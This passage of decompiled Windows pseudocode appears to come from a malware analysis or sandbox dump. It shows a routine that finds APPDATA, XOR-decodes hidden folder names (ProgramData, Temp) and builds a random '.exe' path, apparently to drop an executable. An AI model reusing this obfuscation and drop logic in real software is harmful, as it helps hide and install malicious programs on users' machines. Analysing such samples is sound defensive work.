												E0040F1B0(_t1430);
												_t1696 = _t1696 + 8;
												goto L248;
											} else {
												_t1347 =  *((intOrPtr*)(_t1430 - 4));
												_t1546 = _t1577 + 0x23;
												__eflags = _t1003 -  *((intOrPtr*)(_t1430 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L313;
												} else {
													goto L247;
												}
											}
										}
									} else {
										_t1431 = _v476;
										_t1578 = _t1538 + 1;
										_t1007 = _t1431;
										__eflags = _t1578 - 0x1000;
										if(_t1578 < 0x1000) {
											L243:
											_push(_t1578);
											E0040F1B0(_t1431);
											_t1696 = _t1696 + 8;
											goto L244;
										} else {
											_t1347 =  *((intOrPtr*)(_t1431 - 4));
											_t1546 = _t1578 + 0x23;
											__eflags = _t1007 -  *((intOrPtr*)(_t1431 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L313;
											} else {
												goto L243;
											}
										}
									}
								} else {
									_push(_t1313);
									_t1021 = E0040CB20( &_v428,  &_v396);
									_v16 = 0x1b;
									_t1022 = E0040CD40( &_v476, _t1021,  &_v372);
									_t1700 = _t1695 + 8;
									_t1435 = _t1022;
									_v16 = 0x1c;
									_t1669 =  *(_t1435 + 0x14);
									_t1581 =  *(_t1435 + 0x10);
									__eflags = _t1669 - _t1581 - 4;
									if(_t1669 - _t1581 < 4) {
										_v400 = 0;
										_t1435 = E00402980(_t1296, _t1435, _t1669, _t1673, 4, _v400, ".exe", 4);
									} else {
										 *(_t1435 + 0x10) = _t1581 + 4;
										_t1043 = _t1435;
										__eflags = _t1669 - 0x10;
										if(_t1669 >= 0x10) {
											_t1043 =  *_t1435;
										}
										 *((intOrPtr*)(_t1043 + _t1581)) = 0x6578652e;
										 *((char*)(_t1043 + _t1581 + 4)) = 0;
									}
									 *_t1673 = 0;
									 *(_t1673 + 0x10) = 0;
									 *(_t1673 + 0x14) = 0;
									asm("movups xmm0, [ecx]");
									asm("movups [esi], xmm0");
									asm("movq xmm0, [ecx+0x10]");
									asm("movq [esi+0x10], xmm0");
									 *(_t1435 + 0x10) = 0;
									 *(_t1435 + 0x14) = 0xf;
									 *_t1435 = 0;
									_t1582 = _v456;
									__eflags = _t1582 - 0x10;
									if(_t1582 < 0x10) {
										L216:
										_t1583 = _v408;
										_v460 = 0;
										_v456 = 0xf;
										_v476 = 0;
										__eflags = _t1583 - 0x10;
										if(_t1583 < 0x10) {
											L220:
											_t1584 = _v352;
											_v412 = 0;
											_v408 = 0xf;
											_v428 = 0;
											__eflags = _t1584 - 0x10;
											if(_t1584 < 0x10) {
												L224:
												_t1585 = _v328;
												_v356 = 0;
												_v352 = 0xf;
												_v372 = 0;
												__eflags = _t1585 - 0x10;
												if(__eflags < 0) {
													L228:
													_v332 = 0;
													_v328 = 0xf;
													_v348 = 0;
													goto L39;
												} else {
													_t1436 = _v348;
													_t1586 = _t1585 + 1;
													_t1026 = _t1436;
													__eflags = _t1586 - 0x1000;
													if(__eflags < 0) {
														L227:
														_push(_t1586);
														E0040F1B0(_t1436);
														_t1700 = _t1700 + 8;
														goto L228;
													} else {
														_t1347 =  *((intOrPtr*)(_t1436 - 4));
														_t1546 = _t1586 + 0x23;
														__eflags = _t1026 -  *((intOrPtr*)(_t1436 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L313;
														} else {
															goto L227;
														}
													}
												}
											} else {
												_t1437 = _v372;
												_t1587 = _t1584 + 1;
												_t1030 = _t1437;
												__eflags = _t1587 - 0x1000;
												if(_t1587 < 0x1000) {
													L223:
													_push(_t1587);
													E0040F1B0(_t1437);
													_t1700 = _t1700 + 8;
													goto L224;
												} else {
													_t1347 =  *((intOrPtr*)(_t1437 - 4));
													_t1546 = _t1587 + 0x23;
													__eflags = _t1030 -  *((intOrPtr*)(_t1437 - 4)) + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L313;
													} else {
														goto L223;
													}
												}
											}
										} else {
											_t1438 = _v428;
											_t1588 = _t1583 + 1;
											_t1034 = _t1438;
											__eflags = _t1588 - 0x1000;
											if(_t1588 < 0x1000) {
												L219:
												_push(_t1588);
												E0040F1B0(_t1438);
												_t1700 = _t1700 + 8;
												goto L220;
											} else {
												_t1347 =  *((intOrPtr*)(_t1438 - 4));
												_t1546 = _t1588 + 0x23;
												__eflags = _t1034 -  *((intOrPtr*)(_t1438 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L313;
												} else {
													goto L219;
												}
											}
										}
									} else {
										_t1439 = _v476;
										_t1589 = _t1582 + 1;
										_t1038 = _t1439;
										__eflags = _t1589 - 0x1000;
										if(_t1589 < 0x1000) {
											L215:
											_push(_t1589);
											E0040F1B0(_t1439);
											_t1700 = _t1700 + 8;
											goto L216;
										} else {
											_t1347 =  *((intOrPtr*)(_t1439 - 4));
											_t1546 = _t1589 + 0x23;
											__eflags = _t1038 -  *((intOrPtr*)(_t1439 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L313;
											} else {
												goto L215;
											}
										}
									}
								}
							} else {
								_t1440 = _v452;
								_t1534 = _t1534 + 1;
								_t1044 = _t1440;
								__eflags = _t1534 - 0x1000;
								if(_t1534 < 0x1000) {
									L205:
									_push(_t1534);
									E0040F1B0(_t1440);
									_t1692 = _t1692 + 8;
									goto L206;
								} else {
									_t1347 =  *((intOrPtr*)(_t1440 - 4));
									_t1546 = _t1534 + 0x23;
									__eflags = _t1044 -  *((intOrPtr*)(_t1440 - 4)) + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										goto L313;
									} else {
										goto L205;
									}
								}
							}
						} else {
							_t1441 = _v428;
							_t1590 = _t1533 + 1;
							_t1048 = _t1441;
							__eflags = _t1590 - 0x1000;
							if(_t1590 < 0x1000) {
								L201:
								_push(_t1590);
								E0040F1B0(_t1441);
								_t1692 = _t1692 + 8;
								goto L202;
							} else {
								_t1347 =  *((intOrPtr*)(_t1441 - 4));
								_t1546 = _t1590 + 0x23;
								__eflags = _t1048 -  *((intOrPtr*)(_t1441 - 4)) + 0xfffffffc - 0x1f;
								if(__eflags > 0) {
									goto L313;
								} else {
									goto L201;
								}
							}
						}
					} else {
						_t1442 = _v476;
						_t1591 = _t1532 + 1;
						_t1052 = _t1442;
						__eflags = _t1591 - 0x1000;
						if(_t1591 < 0x1000) {
							L197:
							_push(_t1591);
							E0040F1B0(_t1442);
							_t1692 = _t1692 + 8;
							goto L198;
						} else {
							_t1347 =  *((intOrPtr*)(_t1442 - 4));
							_t1546 = _t1591 + 0x23;
							__eflags = _t1052 -  *((intOrPtr*)(_t1442 - 4)) + 0xfffffffc - 0x1f;
							if(__eflags > 0) {
								goto L313;
							} else {
								goto L197;
							}
						}
					}
				} else {
					_t1064 =  &_v300;
					__imp__SHGetFolderPathA(0, 0x1a, 0, 0, _t1064); // executed
					if(_t1064 < 0) {
						_t1592 = E00418F18(_t1296, __edi, _t1673, __eflags, "APPDATA");
						_t1691 = _t1691 + 4;
						_t1443 = _t1592;
						_t16 = _t1443 + 1; // 0x1
						_t1669 = _t16;
						goto L6;
						L6:
						_t1066 =  *_t1443;
						_t1443 = _t1443 + 1;
						__eflags = _t1066;
						if(_t1066 != 0) {
							goto L6;
						} else {
							_t1444 = _t1443 - _t1669;
							__eflags = _t1444;
							_push(_t1444);
							_push(_t1592);
						}
					} else {
						_t1525 =  &_v300;
						_t1667 = _t1525 + 1;
						asm("o16 nop [eax+eax]");
						goto L3;
						L3:
						_t1293 =  *_t1525;
						_t1525 = _t1525 + 1;
						_t1753 = _t1293;
						if(_t1293 != 0) {
							goto L3;
						} else {
							_push(_t1525 - _t1667);
							_push( &_v300);
						}
					}
					E004026B0(_t1296,  &_v396);
					E00406760(_t1296,  &_v372, _t1669); // executed
					_v16 = 1;
					_t1069 = E004181A9( &_v372, _t1753);
					asm("cdq");
					_t1448 =  &_v348;
					E004055C0(_t1448, _t1069 % 0xa + 5);
					_push(_t1448);
					_v16 = 2;
					_t1072 = E0040CB20( &_v476,  &_v396);
					_v16 = 3;
					_t1073 = E0040CD40( &_v428, _t1072,  &_v372);
					_t1700 = _t1691 + 8;
					E00402490(_t1296,  &_v396, _t1073);
					_t1597 = _v408;
					if(_t1597 < 0x10) {
						L12:
						_v16 = 2;
						_t1598 = _v456;
						_v412 = 0;
						_v408 = 0xf;
						_v428 = 0;
						if(_t1598 < 0x10) {
							L16:
							_t1731 = _t1700 - 0x18;
							_v400 = _t1731;
							E0040BF40(_t1296, _t1731, _t1598, _t1669,  &_v348);
							_t1732 = _t1731 - 0x18;
							_v16 = 4;
							_t1454 = _t1732;
							E0040BF40(_t1296, _t1454, _t1598, _t1669,  &_v396);
							_v16 = 2;
							_t1079 = E00406800(_t1296, _t1454, _t1669, _t1673); // executed
							_t1733 = _t1732 + 0x30;
							if(_t1079 == 0) {
								_v401 = 0x2e;
								_t1669 =  *( *[fs:0x2c]);
								_t1081 =  *0x450f3c; // 0x0
								__eflags = _t1081 -  *((intOrPtr*)(_t1669 + 4));
								if(_t1081 >  *((intOrPtr*)(_t1669 + 4))) {
									E0040F2F9(_t1081, 0x450f3c);
									_t1733 = _t1733 + 4;
									__eflags =  *0x450f3c - 0xffffffff;
									if(__eflags == 0) {
										asm("movaps xmm0, [0x439d90]");
										asm("movups [0x450f00], xmm0");
										 *0x450f10 = _v401;
										E0040F60B(_t1454, __eflags, 0x42d490);
										E0040F2AF(0x450f3c);
										_t1733 = _t1733 + 8;
									}
								}
								_t1082 =  *0x450f10; // 0x0
								__eflags = _t1082;
								if(_t1082 != 0) {
									asm("movups xmm0, [0x450f00]");
									asm("movaps xmm1, [0x439d30]");
									asm("pxor xmm1, xmm0");
									 *0x450f10 = _t1082 ^ 0x0000002e;
									asm("movups [0x450f00], xmm1");
								}
								_t1455 = 0x450f00;
								_v324 = 0;
								_v308 = 0;
								_v304 = 0xf;
								_v324 = 0;
								_t100 = _t1455 + 1; // 0x450f01
								_t1599 = _t100;
								asm("o16 nop [eax+eax]");
								do {
									_t1083 =  *_t1455;
									_t1455 = _t1455 + 1;
									__eflags = _t1083;
								} while (_t1083 != 0);
								E004026B0(_t1296,  &_v324, 0x450f00, _t1455 - _t1599);
								_v16 = 7;
								_t1600 = _v304;
								_t1458 = _v308;
								__eflags = _t1600 - _t1458 - 1;
								if(_t1600 - _t1458 < 1) {
									_v400 = 0;
									_t1087 = E00402980(_t1296,  &_v324, _t1669, _t1673, 1, _v400, "\\", 1);
								} else {
									_t105 =  &(1[_t1458]); // 0x1
									__eflags = _t1600 - 0x10;
									_v308 = _t105;
									_t1256 =  >=  ? _v324 :  &_v324;
									 *((short*)(( >=  ? _v324 :  &_v324) + _t1458)) = 0x5c;
									_t1087 =  &_v324;
								}
								_v452 = 0;
								_v436 = 0;
								_v432 = 0;
								asm("movups xmm0, [eax]");
								asm("movups [ebp-0x1b8], xmm0");
								asm("movq xmm0, [eax+0x10]");
								asm("movq [ebp-0x1a8], xmm0");
								 *(_t1087 + 0x10) = 0;
								 *(_t1087 + 0x14) = 0xf;
								 *_t1087 = 0;
								_v16 = 8;
								_t1089 = E0040CD40( &_v428,  &_v452,  &_v372);
								_t1700 = _t1733 + 4;
								E00402490(_t1296,  &_v396, _t1089);
								_t1602 = _v408;
								__eflags = _t1602 - 0x10;
								if(_t1602 < 0x10) {
									L57:
									_v16 = 7;
									_t1603 = _v432;
									_v412 = 0;
									_v408 = 0xf;
									_v428 = 0;
									__eflags = _t1603 - 0x10;
									if(_t1603 < 0x10) {
										L61:
										_v16 = 2;
										_t1604 = _v304;
										_v436 = 0;
										_v432 = 0xf;
										_v452 = 0;
										__eflags = _t1604 - 0x10;
										if(_t1604 < 0x10) {
											L65:
											_t1734 = _t1700 - 0x18;
											_v304 = _t1734;
											E0040BF40(_t1296, _t1734, _t1604, _t1669,  &_v348);
											_t1735 = _t1734 - 0x18;
											_v16 = 9;
											_t1463 = _t1735;
											E0040BF40(_t1296, _t1463, _t1604, _t1669,  &_v396);
											_v16 = 2;
											_t1095 = E00406800(_t1296, _t1463, _t1669, _t1673);
											_t1736 = _t1735 + 0x30;
											__eflags = _t1095;
											if(_t1095 == 0) {
												_t1096 =  *0x450ee8; // 0x0
												_v316 = 0x7e72146d;
												_v312 = 0x5c49415c;
												_v308 = 0x4f6a434f;
												_v304 = 0x4f5a;
												_v401 = 0x2e;
												__eflags = _t1096 -  *((intOrPtr*)(_t1669 + 4));
												if(_t1096 >  *((intOrPtr*)(_t1669 + 4))) {
													E0040F2F9(_t1096, 0x450ee8);
													_t1736 = _t1736 + 4;
													__eflags =  *0x450ee8 - 0xffffffff;
													if(__eflags == 0) {
														asm("movq xmm0, [ebp-0x130]");
														 *0x451064 = _v308;
														 *0x451068 = _v304;
														asm("movq [0x45105c], xmm0");
														 *0x45106a = _v401;
														E0040F60B(_t1463, __eflags, 0x42d460);
														E0040F2AF(0x450ee8);
														_t1736 = _t1736 + 8;
													}
												}
												__eflags =  *0x45106a;
												if( *0x45106a != 0) {
													_t1213 = 0;
													__eflags = 0;
													do {
														 *(_t1213 + 0x45105c) =  *(_t1213 + 0x45105c) ^ 0x0000002e;
														_t1213 = _t1213 + 1;
														__eflags = _t1213 - 0xf;
													} while (_t1213 < 0xf);
												}
												_t1464 = 0x45105c;
												_v452 = 0;
												_v436 = 0;
												_v432 = 0xf;
												_v452 = 0;
												_t201 = _t1464 + 1; // 0x45105d
												_t1605 = _t201;
												do {
													_t1097 =  *_t1464;
													_t1464 = _t1464 + 1;
													__eflags = _t1097;
												} while (_t1097 != 0);
												E004026B0(_t1296,  &_v452, 0x45105c, _t1464 - _t1605);
												_v16 = 0xc;
												_t1606 = _v432;
												_t1467 = _v436;
												__eflags = _t1606 - _t1467 - 1;
												if(_t1606 - _t1467 < 1) {
													_v400 = 0;
													_t1101 = E00402980(_t1296,  &_v452, _t1669, _t1673, 1, _v400, "\\", 1);
												} else {
													_t206 =  &(1[_t1467]); // 0x1
													__eflags = _t1606 - 0x10;
													_v436 = _t206;
													_t1212 =  >=  ? _v452 :  &_v452;
													 *((short*)(( >=  ? _v452 :  &_v452) + _t1467)) = 0x5c;
													_t1101 =  &_v452;
												}
												_v428 = 0;
												_v412 = 0;
												_v408 = 0;
												asm("movups xmm0, [eax]");
												asm("movups [ebp-0x1a0], xmm0");
												asm("movq xmm0, [eax+0x10]");
												asm("movq [ebp-0x190], xmm0");
												 *(_t1101 + 0x10) = 0;
												 *(_t1101 + 0x14) = 0xf;
												 *_t1101 = 0;
												_v16 = 0xd;
												_t1103 = E0040CD40( &_v476,  &_v428,  &_v372);
												_t1700 = _t1736 + 4;
												E00402490(_t1296,  &_v396, _t1103);
												_t1608 = _v456;
												__eflags = _t1608 - 0x10;
												if(_t1608 < 0x10) {
													L102:
													_v16 = 0xc;
													_t1609 = _v408;
													_v460 = 0;
													_v456 = 0xf;
													_v476 = 0;
													__eflags = _t1609 - 0x10;
													if(_t1609 < 0x10) {
														L106:
														_v16 = 2;
														_t1610 = _v432;
														_v412 = 0;
														_v408 = 0xf;
														_v428 = 0;
														__eflags = _t1610 - 0x10;
														if(_t1610 < 0x10) {
															L110:
															_t1737 = _t1700 - 0x18;
															_v304 = _t1737;
															E0040BF40(_t1296, _t1737, _t1610, _t1669,  &_v348);
															_t1738 = _t1737 - 0x18;
															_v16 = 0xe;
															_t1472 = _t1738;
															E0040BF40(_t1296, _t1472, _t1610, _t1669,  &_v396);
															_v16 = 2;
															_t1109 = E00406800(_t1296, _t1472, _t1669, _t1673);
															_t1739 = _t1738 + 0x30;
															__eflags = _t1109;
															if(_t1109 == 0) {
																_t1110 =  *0x450f50; // 0x0
																_v308 = 0x7a72146d;
																_v304 = 0x2e5e434b;
																__eflags = _t1110 -  *((intOrPtr*)(_t1669 + 4));
																if(_t1110 >  *((intOrPtr*)(_t1669 + 4))) {
																	E0040F2F9(_t1110, 0x450f50);
																	_t1739 = _t1739 + 4;
																	__eflags =  *0x450f50 - 0xffffffff;
																	if(__eflags == 0) {
																		 *0x450f88 = _v308;
																		 *0x450f8c = _v304;
																		E0040F60B(_v304, __eflags, 0x42d450);
																		E0040F2AF(0x450f50);
																		_t1739 = _t1739 + 8;
																	}
																}
																_t1111 =  *0x450f8f; // 0x0
																__eflags = _t1111;
																if(_t1111 != 0) {
																	 *0x450f88 =  *0x450f88 ^ 0x0000002e;
																	 *0x450f89 =  *0x450f89 ^ 0x0000002e;
																	 *0x450f8a =  *0x450f8a ^ 0x0000002e;
																	 *0x450f8b =  *0x450f8b ^ 0x0000002e;
																	 *0x450f8c =  *0x450f8c ^ 0x0000002e;
																	 *0x450f8d =  *0x450f8d ^ 0x0000002e;
																	 *0x450f8e =  *0x450f8e ^ 0x0000002e;
																	_t1171 = _t1111 ^ 0x0000002e;
																	__eflags = _t1171;
																	 *0x450f8f = _t1171;
																}
																_t1473 = 0x450f88;
																_v452 = 0;
																_v436 = 0;
																_v432 = 0xf;
																_v452 = 0;
																_t296 =  &(_t1473[1]); // 0x450f89
																_t1611 = _t296;
																do {
																	_t1112 =  *_t1473;
																	_t1473 =  &(_t1473[1]);
																	__eflags = _t1112;
																} while (_t1112 != 0);
																E004026B0(_t1296,  &_v452, 0x450f88, _t1473 - _t1611);
																_v16 = 0x11;
																_t1612 = _v432;
																_t1476 = _v436;
																__eflags = _t1612 - _t1476 - 1;
																if(_t1612 - _t1476 < 1) {
																	_v400 = 0;
																	_t1116 = E00402980(_t1296,  &_v452, _t1669, _t1673, 1, _v400, "\\", 1);
																} else {
																	_t301 =  &(1[_t1476]); // 0x1
																	__eflags = _t1612 - 0x10;
																	_v436 = _t301;
																	_t1170 =  >=  ? _v452 :  &_v452;
																	 *((short*)(( >=  ? _v452 :  &_v452) + _t1476)) = 0x5c;
																	_t1116 =  &_v452;
																}
																_v428 = 0;
																_v412 = 0;
																_v408 = 0;
																asm("movups xmm0, [eax]");
																asm("movups [ebp-0x1a0], xmm0");
																asm("movq xmm0, [eax+0x10]");
																asm("movq [ebp-0x190], xmm0");
																 *(_t1116 + 0x10) = 0;
																 *(_t1116 + 0x14) = 0xf;
																 *_t1116 = 0;
																_v16 = 0x12;
																_t1118 = E0040CD40( &_v476,  &_v428,  &_v372);
																_t1700 = _t1739 + 4;
																E00402490(_t1296,  &_v396, _t1118);
																_t1614 = _v456;
																__eflags = _t1614 - 0x10;
																if(_t1614 < 0x10) {
																	L146:
																	_v16 = 0x11;
																	_t1615 = _v408;
																	_v460 = 0;
																	_v456 = 0xf;
																	_v476 = 0;
																	__eflags = _t1615 - 0x10;
																	if(_t1615 < 0x10) {
																		L150:
																		_v16 = 2;
																		_t1616 = _v432;
																		_v412 = 0;
																		_v408 = 0xf;
																		_v428 = 0;
																		__eflags = _t1616 - 0x10;
																		if(_t1616 < 0x10) {
																			L154:
																			_t1740 = _t1700 - 0x18;
																			_v304 = _t1740;
																			E0040BF40(_t1296, _t1740, _t1616, _t1669,  &_v348);
																			_t1741 = _t1740 - 0x18;
																			_v16 = 0x13;
																			_t1481 = _t1741;
																			E0040BF40(_t1296, _t1481, _t1616, _t1669,  &_v396);
																			_v16 = 2;
																			_t1124 = E00406800(_t1296, _t1481, _t1669, _t1673);
																			_t1700 = _t1741 + 0x30;
																			__eflags = _t1124;
																			if(_t1124 == 0) {
																				_v16 = 1;
																				_t1617 = _v328;
																				__eflags = _t1617 - 0x10;
																				if(_t1617 < 0x10) {
																					L180:
																					_v16 = 0;
																					_t1546 = _v352;
																					_v332 = 0;
																					_v328 = 0xf;
																					_v348 = 0;
																					__eflags = _t1546 - 0x10;
																					if(_t1546 < 0x10) {
																						L309:
																						E00402510(_t1673, 0x4399f7);
																						L310:
																						E00402440(_t1296,  &_v396);
																						goto L311;
																					} else {
																						_t1482 = _v372;
																						_t1546 =  &(1[_t1546]);
																						_t1125 = _t1482;
																						__eflags = _t1546 - 0x1000;
																						if(_t1546 < 0x1000) {
																							L183:
																							_push(_t1546);
																							E0040F1B0(_t1482);
																							goto L309;
																						} else {
																							_t1347 =  *((intOrPtr*)(_t1482 - 4));
																							_t1546 = _t1546 + 0x23;
																							__eflags = _t1125 -  *((intOrPtr*)(_t1482 - 4)) + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L313;
																							} else {
																								goto L183;
																							}
																						}
																					}
																				} else {
																					_t1483 = _v348;
																					_t1618 = _t1617 + 1;
																					_t1129 = _t1483;
																					__eflags = _t1618 - 0x1000;
																					if(_t1618 < 0x1000) {
																						L179:
																						_push(_t1618);
																						E0040F1B0(_t1483);
																						_t1700 = _t1700 + 8;
																						goto L180;
																					} else {
																						_t1347 =  *((intOrPtr*)(_t1483 - 4));
																						_t1546 = _t1618 + 0x23;
																						__eflags = _t1129 -  *((intOrPtr*)(_t1483 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L313;
																						} else {
																							goto L179;
																						}
																					}
																				}
																			} else {
																				_push(_t1481);
																				_t1133 = E0040CB20( &_v428,  &_v396);
																				_v16 = 0x14;
																				_t1134 = E0040CD40( &_v476, _t1133,  &_v348);
																				_t1700 = _t1700 + 8;
																				_t1487 = _t1134;
																				_v16 = 0x15;
																				_t1669 =  *(_t1487 + 0x14);
																				_t1621 =  *(_t1487 + 0x10);
																				__eflags = _t1669 - _t1621 - 4;
																				if(_t1669 - _t1621 < 4) {
																					_v400 = 0;
																					_t1487 = E00402980(_t1296, _t1487, _t1669, _t1673, 4, _v400, ".exe", 4);
																				} else {
																					 *(_t1487 + 0x10) = _t1621 + 4;
																					_t1155 = _t1487;
																					__eflags = _t1669 - 0x10;
																					if(_t1669 >= 0x10) {
																						_t1155 =  *_t1487;
																					}
																					 *((intOrPtr*)(_t1155 + _t1621)) = 0x6578652e;
																					 *((char*)(_t1155 + _t1621 + 4)) = 0;
																				}
																				 *_t1673 = 0;
																				 *(_t1673 + 0x10) = 0;
																				 *(_t1673 + 0x14) = 0;
																				asm("movups xmm0, [ecx]");
																				asm("movups [esi], xmm0");
																				asm("movq xmm0, [ecx+0x10]");
																				asm("movq [esi+0x10], xmm0");
																				 *(_t1487 + 0x10) = 0;
																				 *(_t1487 + 0x14) = 0xf;
																				 *_t1487 = 0;
																				_t1622 = _v456;
																				__eflags = _t1622 - 0x10;
																				if(_t1622 < 0x10) {
																					L164:
																					_t1623 = _v408;
																					_v460 = 0;
																					_v456 = 0xf;
																					_v476 = 0;
																					__eflags = _t1623 - 0x10;
																					if(_t1623 < 0x10) {
																						L168:
																						_t1624 = _v328;
																						_v412 = 0;
																						_v408 = 0xf;
																						_v428 = 0;
																						__eflags = _t1624 - 0x10;
																						if(_t1624 < 0x10) {
																							L172:
																							_t1625 = _v352;
																							_v332 = 0;
																							_v328 = 0xf;
																							_v348 = 0;
																							__eflags = _t1625 - 0x10;
																							if(__eflags < 0) {
																								goto L38;
																							} else {
																								_t1488 = _v372;
																								_t1626 = _t1625 + 1;
																								_t1138 = _t1488;
																								__eflags = _t1626 - 0x1000;
																								if(__eflags < 0) {
																									goto L37;
																								} else {
																									_t1347 =  *((intOrPtr*)(_t1488 - 4));
																									_t1546 = _t1626 + 0x23;
																									__eflags = _t1138 -  *((intOrPtr*)(_t1488 - 4)) + 0xfffffffc - 0x1f;
																									if(__eflags > 0) {
																										goto L313;
																									} else {
																										goto L37;
																									}
																								}
																							}
																						} else {
																							_t1489 = _v348;
																							_t1627 = _t1624 + 1;
																							_t1142 = _t1489;
																							__eflags = _t1627 - 0x1000;
																							if(_t1627 < 0x1000) {
																								L171:
																								_push(_t1627);
																								E0040F1B0(_t1489);
																								_t1700 = _t1700 + 8;
																								goto L172;
																							} else {
																								_t1347 =  *((intOrPtr*)(_t1489 - 4));
																								_t1546 = _t1627 + 0x23;
																								__eflags = _t1142 -  *((intOrPtr*)(_t1489 - 4)) + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									goto L313;
																								} else {
																									goto L171;
																								}
																							}
																						}
																					} else {
																						_t1490 = _v428;
																						_t1628 = _t1623 + 1;
																						_t1146 = _t1490;
																						__eflags = _t1628 - 0x1000;
																						if(_t1628 < 0x1000) {
																							L167:
																							_push(_t1628);
																							E0040F1B0(_t1490);
																							_t1700 = _t1700 + 8;
																							goto L168;
																						} else {
																							_t1347 =  *((intOrPtr*)(_t1490 - 4));
																							_t1546 = _t1628 + 0x23;
																							__eflags = _t1146 -  *((intOrPtr*)(_t1490 - 4)) + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L313;
																							} else {
																								goto L167;
																							}
																						}
																					}
																				} else {
																					_t1491 = _v476;
																					_t1629 = _t1622 + 1;
																					_t1150 = _t1491;
																					__eflags = _t1629 - 0x1000;
																					if(_t1629 < 0x1000) {
																						L163:
																						_push(_t1629);
																						E0040F1B0(_t1491);
																						_t1700 = _t1700 + 8;
																						goto L164;
																					} else {
																						_t1347 =  *((intOrPtr*)(_t1491 - 4));
																						_t1546 = _t1629 + 0x23;
																						__eflags = _t1150 -  *((intOrPtr*)(_t1491 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L313;
																						} else {
																							goto L163;
																						}
																					}
																				}
																			}
																		} else {
																			_t1492 = _v452;
																			_t1616 = _t1616 + 1;
																			_t1156 = _t1492;
																			__eflags = _t1616 - 0x1000;
																			if(_t1616 < 0x1000) {
																				L153:
																				_push(_t1616);
																				E0040F1B0(_t1492);
																				_t1700 = _t1700 + 8;
																				goto L154;
																			} else {
																				_t1347 =  *((intOrPtr*)(_t1492 - 4));
																				_t1546 = _t1616 + 0x23;
																				__eflags = _t1156 -  *((intOrPtr*)(_t1492 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L313;
																				} else {
																					goto L153;
																				}
																			}
																		}
																	} else {
																		_t1493 = _v428;
																		_t1630 = _t1615 + 1;
																		_t1160 = _t1493;
																		__eflags = _t1630 - 0x1000;
																		if(_t1630 < 0x1000) {
																			L149:
																			_push(_t1630);
																			E0040F1B0(_t1493);
																			_t1700 = _t1700 + 8;
																			goto L150;
																		} else {
																			_t1347 =  *((intOrPtr*)(_t1493 - 4));
																			_t1546 = _t1630 + 0x23;
																			__eflags = _t1160 -  *((intOrPtr*)(_t1493 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L313;
																			} else {
																				goto L149;
																			}
																		}
																	}
																} else {
																	_t1494 = _v476;
																	_t1631 = _t1614 + 1;
																	_t1164 = _t1494;
																	__eflags = _t1631 - 0x1000;
																	if(_t1631 < 0x1000) {
																		L145:
																		_push(_t1631);
																		E0040F1B0(_t1494);
																		_t1700 = _t1700 + 8;
																		goto L146;
																	} else {
																		_t1347 =  *((intOrPtr*)(_t1494 - 4));
																		_t1546 = _t1631 + 0x23;
																		__eflags = _t1164 -  *((intOrPtr*)(_t1494 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L313;
																		} else {
																			goto L145;
																		}
																	}
																}
															} else {
																_push(_t1472);
																_t1176 = E0040CB20( &_v428,  &_v396);
																_v16 = 0xf;
																_t1177 = E0040CD40( &_v476, _t1176,  &_v348);
																_t1700 = _t1739 + 8;
																_t1499 = _t1177;
																_v16 = 0x10;
																_t1669 =  *(_t1499 + 0x14);
																_t1634 =  *(_t1499 + 0x10);
																__eflags = _t1669 - _t1634 - 4;
																if(_t1669 - _t1634 < 4) {
																	_v400 = 0;
																	_t1499 = E00402980(_t1296, _t1499, _t1669, _t1673, 4, _v400, ".exe", 4);
																} else {
																	 *(_t1499 + 0x10) = _t1634 + 4;
																	_t1197 = _t1499;
																	__eflags = _t1669 - 0x10;
																	if(_t1669 >= 0x10) {
																		_t1197 =  *_t1499;
																	}
																	 *((intOrPtr*)(_t1197 + _t1634)) = 0x6578652e;
																	 *((char*)(_t1197 + _t1634 + 4)) = 0;
																}
																 *_t1673 = 0;
																 *(_t1673 + 0x10) = 0;
																 *(_t1673 + 0x14) = 0;
																asm("movups xmm0, [ecx]");
																asm("movups [esi], xmm0");
																asm("movq xmm0, [ecx+0x10]");
																asm("movq [esi+0x10], xmm0");
																 *(_t1499 + 0x10) = 0;
																 *(_t1499 + 0x14) = 0xf;
																 *_t1499 = 0;
																_t1635 = _v456;
																__eflags = _t1635 - 0x10;
																if(_t1635 < 0x10) {
																	L120:
																	_t1636 = _v408;
																	_v460 = 0;
																	_v456 = 0xf;
																	_v476 = 0;
																	__eflags = _t1636 - 0x10;
																	if(_t1636 < 0x10) {
																		L124:
																		_t1637 = _v328;
																		_v412 = 0;
																		_v408 = 0xf;
																		_v428 = 0;
																		__eflags = _t1637 - 0x10;
																		if(_t1637 < 0x10) {
																			L128:
																			_t1638 = _v352;
																			_v332 = 0;
																			_v328 = 0xf;
																			_v348 = 0;
																			__eflags = _t1638 - 0x10;
																			if(__eflags < 0) {
																				goto L38;
																			} else {
																				_t1488 = _v372;
																				_t1626 = _t1638 + 1;
																				_t1181 = _t1488;
																				__eflags = _t1626 - 0x1000;
																				if(__eflags < 0) {
																					goto L37;
																				} else {
																					_t1347 =  *((intOrPtr*)(_t1488 - 4));
																					_t1546 = _t1626 + 0x23;
																					__eflags = _t1181 -  *((intOrPtr*)(_t1488 - 4)) + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L313;
																					} else {
																						goto L37;
																					}
																				}
																			}
																		} else {
																			_t1500 = _v348;
																			_t1639 = _t1637 + 1;
																			_t1184 = _t1500;
																			__eflags = _t1639 - 0x1000;
																			if(_t1639 < 0x1000) {
																				L127:
																				_push(_t1639);
																				E0040F1B0(_t1500);
																				_t1700 = _t1700 + 8;
																				goto L128;
																			} else {
																				_t1347 =  *((intOrPtr*)(_t1500 - 4));
																				_t1546 = _t1639 + 0x23;
